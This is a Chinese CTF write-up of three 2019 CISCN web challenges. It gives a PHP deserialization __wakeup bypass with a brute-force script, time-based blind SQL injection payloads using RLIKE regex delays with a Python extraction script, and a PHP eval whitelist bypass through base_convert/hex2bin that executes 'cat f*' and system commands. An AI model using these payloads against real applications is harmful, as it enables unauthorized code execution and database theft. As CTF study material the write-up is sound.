2019 CISCN Web wp

  1. 1. Day 1
    1. 1.1. Web
      1. 1.1.1. JustSoso
      2. 1.1.2. 全宇宙最简单的SQL
  2. 2. Day 2
    1. 2.1. Web
      1. 2.1.1. Love_Math

国赛 Web wp

Day 1

Web

JustSoso

Index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
trueecho 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
truedie('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

Hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php  
class Handle{
private $handle;
public function __wakeup(){
truetrueforeach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
truepublic function __construct($handle) {
$this->handle = $handle;
}
truepublic function __destruct(){
truetrue$this->handle->getFlag();
true}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
truetrue$this->file = $file;
truetrue$this->token_flag = $this->token = md5(rand(1,10000));
}

truepublic function getFlag(){
truetrue$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
truetrue{
truetruetrueif(isset($this->file)){
truetruetruetrueecho @highlight_file($this->file,true);
}
}
}
}
?>

SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析了解到可以把以下 payload

1
O:6:"Handle":1:

中的 1 改成比 1 大的数可以在反序列化时绕过_warkeup魔术方法
绕过$this->token === $this->token_flag的判断可以直接通过爆破来绕过

贴一下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time

url ="http://e281a336df8b4ea1b7665704aca7b30246d3cd0663434603.changame.ichunqiu.com///?file=hint.php&payload=O%3A6%3A%22Handle%22%3A3%3A{s%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A{s%3A4%3A%22file%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%227b670d553471ad0fd7491c75bad587ff%22%3Bs%3A10%3A%22token_flag%22%3Bs%3A32%3A%227b670d553471ad0fd7491c75bad587ff%22%3B}}"

proxies ={
'http':'http://127.0.0.1:8080/'
}

for i in range(1,1000000):

rep = requests.get(url)
if rep.status_code == 200:
if 'flag' in rep.text:
print(rep.text)
else:
print(rep.status_code)
i = i + 1
time.sleep(1)

# rep = requests.get(url)
# print(rep.status_code)

这里预期解应该是引用,利用$this->token_flag = &$this->token,这样来绕过

全宇宙最简单的SQL

页面会返回两种错误,一种是登录失败,一种是数据库查询失败

所以我们可以通过利用admin'等操作来 fuzz 闭合方式,得到可以使用单引号闭合。但是通过万能密码可以发现一些关键字被替换了

通过一些简单的 fuzz 可以发现有以下关键字被过滤了

1
or || if field elt

布尔盲注没有可以区分的页面回显,所以这里不能用布尔盲注,报错注入也不行。所以基本确定只能用时间盲注。

结果发现sleep()benchmark()等函数均被过滤了,只能寻找一些新的延时注入的方法,在mysql盲注备忘录)中发现新的注入方式

1
2
3
4
5
6
7
MariaDB [(none)]> select rpad('a',2000000,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',2000000,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set, 1 warning (0.149 sec)

虽然本地没很明显延时,但是打服务器发生了明显的延时。所以接下来就是利用这个点进行时间盲注了。而if又被过滤了,我们就只能通过以下方式去触发延时

1
admin'  and (SELECT length(database()) limit 0,1) = 3 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

数据库长度为3

1
2
3
4
5
admin' and substr((SELECT database() limit 0,1),1,1) = 'c' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and substr((SELECT database() limit 0,1),2,1) = 't' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and substr((SELECT database() limit 0,1),3,1) = 'f' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

数据库名字为 ctf

但是如果要接下去拿表名的话传统方法只能去利用information_schema,但是or又被过滤了,而information_schema中又含有or,所以肯定不能行。

过滤了information_schema基本上没什么替代方式了。所以我们这里只能另辟蹊径。

之前了解过可以通过不用列名的方式注入,所以这里觉得应该可以直接读password或者什么,管他这个列名叫啥,读就对了。注意这里用offset 1 limit 1读第二个才是真正的密码,这里时间不太够,临时用手验证了前几位。爆了 4 位得到F1AG,以为就是密码了…结果错了…最后还是手动加脚本跑出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),2,1)) = 49 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),3,1)) = 65 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#


admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),4,1)) = 71 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),5,1)) = 64 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),6,1)) = 49 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),7,1)) = 115 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),7,1)) = 115 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

注意这里最好不要用substr()='x'这样判断,大小写很有问题,而且当时网络环境极其不好…跑了好几遍都有不同的答案…最后在赛后用ascii跑出了密码,附脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# encoding: utf-8
import requests
import re

index_url = "http://39.97.227.64:52105/"

header = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
}

flag = ''
table = ''
column = ''

proxies={
'http':'http://127.0.0.1:8080/'
}

for i in range(1,32):
print(i)
for j in range(33,126):
# j = ord(j)
# payload = "0\") or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),"+ str(i) +",1))="+ str(j) +"),sleep(5),0);%23"
string1 = "admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),"+ str(i) + ",1)) = '"+ str(j) + "' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#"
payload ={
'username': string1,
'password': '11'
}

url = index_url
try:
r = requests.post(url=url, data=payload,headers=header,timeout=3.5,proxies=proxies)
except:
flag += chr(j)
print(flag)
break

得到密码:

1
F1AG@1s-at_/fll1llag_h3r3

进去看到 admin 页面,也很明显,也就是 Rogue mysql 那一套了。

DDCTF 2019 /HGAME 2019我都有写相关的 wp ,这里就不再重复了。老一套的操作,不过这里他是不能指定端口,固定访问你的 3306 ,所以你需要把自己的 vps 的 3306 端口开启才行。按照密码提示直接读就是了

顺便拿了一波题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">

<title>全宇宙最简单的SQL</title>

<!-- Bootstrap core CSS -->
<link href="bootstrap.min.css" rel="stylesheet">

<!-- Custom styles for this template -->
<link href="grid.css" rel="stylesheet">
</head>

<body style="background-color: lightgrey">
<div class="container">

<h1>全宇宙最简单的SQL</h1>
<p class="lead">没有比这题更简单的SQL了,我把秘密藏在数据库里面了!</p>

<hr>
<?php
error_reporting(0);
session_start();
if (!$_SESSION['admin']) {
if (!$_SERVER['HTTP_ACCEPT']) {
echo "<p style='color: red'>你莫非是机器人?</p>";
}else if (!empty($_POST['password']) && !empty($_POST['username'])) {
$conn = new mysqli();
$conn -> connect("localhost", "ctf123", "ctf123", 'ctf', 3306);
if ($conn -> connect_errno) {
echo "<p style='color: red'>数据库连接失败: " . $conn -> connect_error . "</p>";
} else {
$_POST['username'] = preg_replace("/join|get_lock|benchmark|sleep|make_set|field|elt|if|case|or|\|/i", "QwQ", $_POST['username']);
echo "<p style='color: green'>登录用户名:" . $_POST['username'] . "</p>";
$conn -> set_charset("utf8");
$sql = "select password from user where username='" . $_POST['username'] . "'";
$result = $conn -> query($sql);
if ($conn -> errno) {
echo "<p style='color: red'>数据库操作失败!</p>";
}else {
if (!$result) {
echo "<p style='color: red'>登陆失败!</p>";
}else {
$row = $result -> fetch_assoc();
if ($row['password'] === $_POST['password'] && $_POST['username'] === 'admin') {
$_SESSION['admin'] = 1;
}else {
echo "<p style='color: red'>登陆失败!</p>";
}
}
}
$conn -> close();
}
}else {
echo "<p style='color: red'>你不是管理员!</p>";
}
}
if ($_SESSION['admin']) {
echo "<p style='color: green'>你好!管理员!</p>";
if (!empty($_POST['host']) && !empty($_POST['password']) && !empty($_POST['username']) && !empty($_POST['sql']) && !empty($_POST['database'])) {
$conn = new mysqli();
$conn -> connect($_POST['host'], $_POST['username'], $_POST['password'], $_POST['database'], 3306);
if ($conn -> connect_errno) {
echo "<p style='color: red'>数据库连接失败: " . $conn -> connect_error . "</p>";
} else {
$conn -> set_charset("utf8");
$result = $conn -> query($_POST['sql']);
if (!$result) {
echo "<p style='color: red'>SQL执行失败!</p>";
}else {
echo "<p style='color: green'>SQL执行成功!</p>";
}
$conn -> close();
}
}else {
echo "<p style='color: green'>你可以在这里对远程数据库进行操作!</p>";
}
}
?>
<hr>
<p></p>
<form action="" method="post" class="row">
<?php
if (!$_SESSION['admin']) {
echo '<input type="text" name="username" class="col-6 col-lg-4" placeholder="username">';
echo '<input type="text" name="password" class="col-6 col-lg-4" placeholder="password">';
}else {
echo '<input type="text" name="host" class="col-6 col-lg-4" placeholder="host">';
echo '<input type="text" name="username" class="col-6 col-lg-4" placeholder="username">';
echo '<input type="text" name="password" class="col-6 col-lg-4" placeholder="password">';
echo '<input type="text" name="database" class="col-6 col-lg-4" placeholder="database">';
echo '<input type="text" name="sql" class="col-6 col-lg-4" placeholder="sql">';
}
?>
<input type="submit" class="col-6 col-lg-4" value="submit">
</form>

</div> <!-- /container -->
</body>
</html>

这题比较可惜,时间不太够,比赛结束的40min多就做出来了…今天太困了,中午睡了好一会,时间足够的话肯定能搞出来的…可惜可惜。

最近看了还可以有

1
union select cot(1 and left(database(),1)>'a');#

这样的 bool 盲注的形式

Day 2

Web

Love_Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

一上午都在懵逼,要么找到可以突破的数学函数,要么突破正则,应该就是这两种思路了。数学函数都看了一遍,貌似没有什么可以利用的函数。正则匹配/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/,这个是 php 变量文档中匹配有效变量名的正则。感觉两个思路都不对…最有可能的还是突破数学函数…数组可以绕之前的,但是eval不能执行

看了好几遍直到看到了base_convert可以在进制转换上做文章,而且根据php文档–base_convert,我们可以知道

1
frombase 和 tobase 都只能在 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35

也就是第二位,第三位参数可以在 2 到 36 之间,而且高于十进制的用字母表示!既然拼接进去的都是字符串,转换出来拼接进去应该可以执行。

本地使用base_convert(55490343972,10,36)()成功执行phpinfo,远程也执行了phpinfo看看是不是有什么问题,看了一圈然而并没有发现什么问题。

然后尝试使用各种执行命令

1
2
3
4
5
base_convert(15941,10,36);	//cat
base_convert(1751504350,36,10); //system
base_convert(696468,36,10); //exec
base_convert(784,36,10); //ls
base_convert(21269,36,10); //GET

虽然可以执行ls了,看到了flag.php,但是读不到就比较难受了。然后直接就考虑到了是不是可以有cat *这种操作,但是空格跟*都无法编码…这就比较头疼了。而且主要是还得全为数字,有字母的的话就会进whitelist的判断了。

所以可能要尽量避免去使用十六进制什么的含有字母的,考虑到 ascii 码可以转换,又尝试了使用chr函数去转换

1
2
3
4
5
($pi=base_convert(9453,12,36)).$pi(101).$pi(120).$pi(101).$pi(99)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42))

($pi=base_convert(9453,12,36)).$pi(101).$pi(120).$pi(101).$pi(99)($pi(108).$pi(115))

$pi(96).$pi(108).$pi(115).$pi(96)

一般的构造结果肯定不行…所以这里想用`ls`这种形式去执行命令,但是由于拼接的原因,一直不能执行…思路卡了很久。

看了一些相关十六进制处理的函数,直到看到了两个函数,一个hex2bin函数,是可以把 16 进制转换成字符串,一个dechex函数,把十进制转换成十六进制。

于是我们可以有

1
2
3
4
php > echo base_convert('636174202a',16,10);
426836762666
php > echo hex2bin(dechex(426836762666));
cat *

这样我们就可以把*这个十六进制为2a的转成十进制纯数字的了。

但是我们要怎么利用hex2bin呢,想到可以利用base_convert赋值变量的方式,找到最短的字符串pi,利用$pi=base_convert(37907361743,10,36)构造出hex2bin

而且还因为echo可以接受如下的拼接方式,例如

1
2
3
4
php > echo (1).`id`;
1uid=501(zedd) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
php > echo 1,`id`;
1uid=501(zedd) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

尽量取最短的,这里肯定我们就用,这个形式。

所以大致思路就差不多出来了利用base_convert构造hex2bin,然后用最短的可以执行命令的exec函数去执行cat *的命令

1
$pi=base_convert(37907361743,10,36),$pi(65786563)($pi(dechex(426836762666)))

然而没成功…不知道哪里错了,感觉没道理…

1
2
3
($pi=base_convert),$pi(696468,10,36)($pi(37907361743,10,36)(7267726570206167));

($pi=base_convert),$pi(696468,10,36)($pi(37907361743,10,36)(7267726570202466));

接着队友说可以用rgrep ag去弄,而且本地打通了…但是远程以上没打通…我又修改了尝试去rgrep fl,也没打通,当时是这样的

写 wp 的时候,突然又发现可以打通了…

也是神奇…最后当时还是按照自己的思路去走了,感觉是不是哪里出问题了,确定有flag.php,最后尝试修改cat f*

1
2
3
4
php > echo base_convert('63617420662a',16,10);
109270211257898
php > echo hex2bin(dechex(109270211257898));
cat f*
1
$pi=base_convert(37907361743,10,36),$pi(65786563)($pi(dechex(109270211257898)))

拿到 flag(复现环境下)

1
base_convert(37907361743,10,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=cat%20flag.php

剩余一题感觉比较有意思,单独写一下。


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/05/06/2019ciscn/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

2019 CISCN RefSpace 2019 DDCTF Web wp

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×